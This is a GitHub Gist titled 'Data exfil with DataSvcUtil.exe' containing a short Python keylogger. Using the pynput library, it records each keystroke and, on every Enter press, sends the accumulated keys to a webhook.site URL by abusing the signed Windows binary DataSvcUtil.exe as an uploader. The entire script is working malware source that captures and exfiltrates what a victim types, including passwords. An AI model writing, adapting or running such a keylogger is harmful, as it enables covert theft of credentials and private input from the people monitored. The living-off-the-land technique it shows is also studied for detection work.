Created
December 2, 2020 01:54
-
-
Save teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6 to your computer and use it in GitHub Desktop.
Data exfil with DataSvcUtil.exe
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# From: https://github.com/moses-palmer/pynput | |
from pynput.keyboard import Key, Listener | |
import os | |
import sys | |
import subprocess | |
URL = 'https://webhook.site/xxxxxx-xxxxx-xxxx-xxxxx-xxxxxxx' | |
uploader = "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe" | |
content = "" | |
def on_press(key): | |
global content | |
global URL | |
global uploader | |
if str(key) == 'Key.backspace': | |
content += ' ' | |
else: | |
content += str(key) | |
print(f'last key: {str(key)}') | |
print("") | |
if str(key) == 'Key.enter': | |
upload_url = (f'{URL}?{content}') | |
subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url]) | |
buffer = '' | |
if key == 0x03: | |
sys.exit(0) | |
if __name__ == "__main__": | |
try: | |
with Listener(on_press=on_press) as listener: | |
listener.join() | |
except (KeyboardInterrupt, SystemExit): | |
sys.exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment